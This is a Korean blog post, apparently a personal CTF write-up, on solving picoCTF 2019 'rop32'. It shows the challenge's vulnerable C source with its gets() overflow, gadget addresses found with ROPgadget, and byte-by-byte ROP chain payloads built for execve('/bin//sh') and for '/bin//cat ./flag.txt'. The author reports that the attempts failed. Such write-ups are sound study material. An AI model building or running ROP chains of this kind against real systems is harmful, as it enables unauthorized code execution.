본문 바로가기

CTF/바이너리

picoCTF 2019 : rop32

https://kblab.tistory.com/223

 

ROP 기법은 가젯이라는 작은 코드조각들을 모아 원하는 코드를 실행하도록 조립하는 기법이다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

 

코드는 간단해보이지만 기법은 간단하지 않다..

 

1. 리턴주소 찾기

일단 오버플로우 패딩을 찾아야하기 때문에 gdb에서 테스트를 해본다. 소스코드를 보면 vuln의 gets에서 발생한다.

gets를 실행시켜 40byte를 입력한뒤 $esp를 확인한다. 

vuln 함수 리턴 직전에 $esp를 확인하면 34343333 위치가 vuln 의 리턴주소위치이다. 

1111111111222222222233333333334444444444

"A"*28+"retAddr"

스택은 어차피 주소가 변하기 때문에 쉘코드를 심는건 의미가 없다.

 

 

2. 주소가 변하지 않는 시스템함수 찾기

system함수나 execve 함수가 포함되어서 컴파일돼있다면 gdb에서 주소를 찾아볼 수 있다. 주소가 실행할 때마다 변하지 않는지도 확인해야한다.

제거된상태로 static컴파일되어서 찾을수없다.

 

 

3. 본격적인 ROP 설계

둘다 없기때문에 이럴땐 시스템콜(int 0x80)을 이용해서 execve함수를 호출해야한다.

execve함수를 호출하려면 eax에 59, ebx에 /bin/sh, ecx에 0, edx에 0이 저장된 상태로 int 0x80 명령을 실행하면 된다.

 

int 0x80 호출 전까지 하나하나 세팅할때마다 return 해줘야하고 오버플로우로 리턴주소를 세팅한다.

 

/bin/sh 문자열을 스택에 넣으려고 했지만 스택 윗부분은 null을 추가로 넣어줘야해서 실패했고, 아랫부분에 넣는건 명령이 많아짐에 따라 주소값이 4byte씩 커지게되는데 ebx를 키우는건 inc밖에 없어서 실패했다.

스택 윗부분에 /bin//sh 넣고 실행하는건 가능할지도 모르겠다. inc로 null이 필요한 위치로 이동 후 mov ebx, ecx로 덮고 다시 dec로 /bin//sh 의 맨앞 주소를 가져오면될듯

 

쓸수있고 주소가 변하지않으며 주소값에 null바이트가 포함되지 않고 메모리주소의 저장공간에 null이 포함된공간(맨마지막정도)에 /bin//sh을 쓰고 그 주소는 그냥 스택에 바로 넣고 pop해서 사용하면 된다.

 

 

3-1. bss 위치 찾기

.bss 주소 : 0x080db320 

만약 null바이트가 포함되어있다면 살짝 변경한다. 

0x080db300 -> 0x080db304

 

 

4. ROP 가젯 찾기

ROPgadget --binary ./vuln | grep "pop eax ; ret"

 

0x08049563 : int 0x80
0x080a8e36 : pop eax ; ret
0x080c249f : pop eax ; retf
0x080a8e46 : push esp ; ret
0x080481c9 : pop ebx ; ret
0x08049adb : pop edi ; ret
0x080d02ca : dec ebx ; ret
0x0806dd0d : push ebx ; call edx
0x08092d30 : add eax, 1 ; ret
0x08092d27 : add eax, 2 ; ret
0x08092d40 : add eax, 3 ; ret  
0x08062da3 : dec eax ; ret
0x0806f231 : xor ecx, ecx ; int 0x80
0x0806ee6b : pop edx ; ret
0x080564d5 : mov edx, 0xffffffff ; ret
0x0805e095 : inc edx ; ret
0x080753e2 : push esp ; call edi
0x08056420 : xor eax, eax ; ret
0x0805e28b : inc ebx ; ret
0x08090ed0 : add ebx, ebp ; ret
0x08056e65 : mov dword ptr [edx], eax ; ret

 

 

5. 공격코드 짜기

레지스터의 사용처를 알아야됨
eax : 함수 리턴, 산술연산, 논리연산 
ebx : 메모리주소를 저장하기 위한용도
ecx : 반복 명령어 사용 시 카운터로 사용 
edx : 부호확장, 큰수의 곱셈 또는 나눗셈



pop_eax="" # pop eax, eax ; ret
pop_ebx=""
pop_ecx=""
pop_edx="" 
add_eax1="" # add eax, 1 ; ret
add_eax2=""
add_eax3=""
zero_eax="" # xor eax, eax ; ret
zero_edx=""
write_edx="" # mov [edx], eax ; ret


int80_addr="0x00000000" ; int 0x80의 명령주소
ebp_overwrite="AAAA"
writable_addr="0x00000000" # 쓸수있는 주소공간


 [ STACK ]
- /bin//sh 저장 - 
pop_eax ; ret
"/bin"
pop_edx ; ret 
writable_addr
write_edx ; ret
pop_eax ; ret
"//sh"
pop_edx ; ret 
writable_addr+4
write_edx ; ret
# /bin//sh\x00 메모리주소 획득
# 여기선 edx로 안해도되고 그냥 mov [reg], reg 형태만 있으면 가능
# /bin//sh도 이렇게 넣을수 있고 아니면 strcpy로 하나씩 넣을수도 있고 방법이 다양하다.

- 레지스터 세팅 - 
zero_edx ; ret
pop_ebx ; ret
writable_addr
pop_ecx ; ret
writable_addr+12
# ebx:&/bin//sh, ecx:0, edx:0

- eax 세팅 -
zero_eax ; ret 
add_eax3 ; ret
add_eax3 ; ret
add_eax3 ; ret
add_eax2 ; ret
# eax:0x0B
# eax값 세팅도 eax=struct.pack("<I", 0x0000000B) 이러면 되긴하는데 null바이트가 섞여 이 문제에서는 사용할 수 없다.

- call 0x80 - 
int80_addr



 [ 결과 코드 ]

import struct
addr=lambda x:struct.pack("<L",x)
# 메모리주소를 정렬시켜주는 함수 0x12345678 -> \x78\x56\x34\x12

"A"*24+ebp_overwrite
+addr(pop_eax)+"/bin"+addr(pop_edx)+addr(writable_addr)+addr(write_edx)
+addr(pop_eax)+"//sh"+addr(pop_edx)+addr(writable_addr+4)+addr(write_edx)
+addr(zero_edx)+addr(pop_ebx)+addr(writable_addr)+addr(pop_ecx)+addr(writable_addr+12)
+addr(zero_eax)+addr(add_eax3)+addr(add_eax3)+addr(add_eax3)+addr(add_eax2)
+addr(int80_addr)

 

원하는 가젯이 없어서 다시짰다.

import struct
addr=lambda x:struct.pack("<L",x)

addr(0x12345678)

pop_eax="0x080a8e36" # pop eax, eax ; ret
pop_ebx="0x080481c9"
#pop_ecx="0x"
pop_edx="0x0806ee6b" 
add_eax1="0x08092d30" # add eax, 1 ; ret
add_eax2="0x08092d27"
add_eax3="0x08092d40"
zero_eax="0x08056420" # xor eax, eax ; ret
zero_edx1="0x080564d5"
zero_edx2="0x0805e095"

zero_ecx_int80="0x0806f231"
write_edx="0x08056e65" # mov [edx], eax ; ret

#int80_addr="0x00000000"# int 0x80의 명령주소
ebp_overwrite="AAAA"
writable_addr="0x080db320" # 쓸수있는 주소공간

code = "A"*24+ebp_overwrite+addr(pop_eax)+"/bin"+addr(pop_edx)+addr(writable_addr)+addr(write_edx)+addr(pop_eax)+"//sh"+addr(pop_edx)+addr(writable_addr+4)+addr(write_edx)+addr(zero_edx)+addr(pop_ebx)+addr(writable_addr)+addr(zero_eax)+addr(add_eax3)+addr(add_eax3)+addr(add_eax3)+addr(add_eax2)+addr(zero_ecx_int80)

print(code)
 

 

 

/bin//cat ./flag.txt 버전


"A"*24+"AAAA"+"\x36\x8e\x0a\x08"+"/bin"+"\x6b\xee\x06\x08"+"\x20\xb3\x0d\x08" 
+"\x65\x6e\x05\x08"+"\x36\x8e\x0a\x08"+"//ca"+"\x6b\xee\x06\x08"+"\x24\xb3\x0d\x08" 
+"\x65\x6e\x05\x08"+"\x36\x8e\x0a\x08"+"t ./"+"\x6b\xee\x06\x08"+"\x28\xb3\x0d\x08" 
+"\x65\x6e\x05\x08"+"\x36\x8e\x0a\x08"+"flag"+"\x6b\xee\x06\x08"+"\x2c\xb3\x0d\x08" 
+"\x65\x6e\x05\x08"
+"\x36\x8e\x0a\x08"+".txt"+"\x6b\xee\x06\x08"

+"\x30\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\xd5\x64\x05\x08"+"\x95\xe0\x05\x08" 
+"\xc9\x81\x04\x08"+"\x20\xb3\x0d\x08"+"\x20\x64\x05\x08"+"\x40\x2d\x09\x08"*3 
+"\x27\x2d\x09\x08"+"\x31\xf2\x06\x08"

 

 

공격실패..

python에서 입력으로 \x0a를 받으면 개행으로 처리한다. 

 

 

r <<< "$(`python -c 'print "A"*24+..."\x0a"...'`)"

r <<< "`python -c 'print ...'`"

처럼 명령을 큰따옴표로 묶어줘도 해결이 안된다.

 

확인해보니 pop eax ; ret 명령어에만 \x0a 주소가 박혀있었고 pop eax가젯을 다시 찾아보니 \x0a가 포함되지 않은 pop eax ; retf 가젯이 있었다. 

`python -c 'print "A"*24+"BBBB"+"\x9f\x24\x0c\x08"+"/bin"+"\x6b\xee\x06\x08"+"\x20\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\x9f\x24\x0c\x08"+"//ca"+"\x6b\xee\x06\x08"+"\x24\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\x9f\x24\x0c\x08"+"t ./"+"\x6b\xee\x06\x08"+"\x28\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\x9f\x24\x0c\x08"+"flag"+"\x6b\xee\x06\x08"+"\x2c\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\x9f\x24\x0c\x08"+".txt"+"\x6b\xee\x06\x08"+"\x30\xb3\x0d\x08"+"\x65\x6e\x05\x08"+"\xd5\x64\x05\x08"+"\x95\xe0\x05\x08"+"\xc9\x81\x04\x08"+"\x20\xb3\x0d\x08"+"\x20\x64\x05\x08"+"\x40\x2d\x09\x08"*3+"\x27\x2d\x09\x08"+"\x31\xf2\x06\x08"'`

 

공격실패..

 

 

번외. 스택에 /bin/sh 넣기

00: "/bin"
04: "//sh"
08: "AAAA"  # <- 이부분에서 null byte가 저장돼야 /bin//sh를 사용할 수 있다.
0c: pop edi # vuln ret addr
10: pop ebx # ret의 주소 
14: push esp; call edi # <- 이주소(0x14)를 ebx에 저장하게됨 
dec ebx ; ret # /bin//sh 주소를 찾아가기 위함
...
12번  --------- ebx에는 /bin//sh 주소+8 이 저장됨 (0x08주소)

xor ecx, ecx ; ret ;  # null바이트 만들기
mov [ebx], ecx ; ret ;

dec ebx ; ret ; # /bin//sh 주소 찾아가기
...
8번   ----

이후는 edx 0으로 세팅,
eax 0x0B 세팅,
int 0x80 
이렇게 하면 된다. 

 

존재하는 가젯에 따라, 여러 메모리보호 기법이 적용 유무에 따라 공격이 쉬울수도 어려울수도 있다.

shadow stack 같은 Anti ROP 기법이 적용되어있지 않다면 어떻게든 공격을 할 수 있다.

 

 

 

 

ROP에 대해 자세히 나와있어서 가져왔다.

 

https://teamcrak.tistory.com/332

 

메모리 보호기법 우회 - 2 - ROP(Return Oriented Programming) Exploit

메모리 보호기법 우회 연구분석보고서 -2- By. eloi@a3sc.co.kr (A.K.A eloi) jtsong@a3sc.co.kr (A.K.A trynerr) 본 문서는 Stack Overflow 보호기법과 이를 우회하는 방법에 대하여 작성하였습니다. 해당 내용과..

teamcrak.tistory.com

ROP 체인에 대해서 적혀있음 sys_execve

https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/

 

 

 

아... 쉘권한따는게 아니라 cat flag.txt 해야되는듯..

'CTF > 바이너리' 카테고리의 다른 글

python 쓸만한 함수들  (0) 2020.09.26
picoCTF 2019 : CanaRy  (0) 2019.10.10
picoCTF 2019 : OverFlow 1  (0) 2019.10.09
picoCTF 2019 : slippery-shellcode  (0) 2019.10.09
picoCTF 2019 : handy-shellcode  (0) 2019.10.09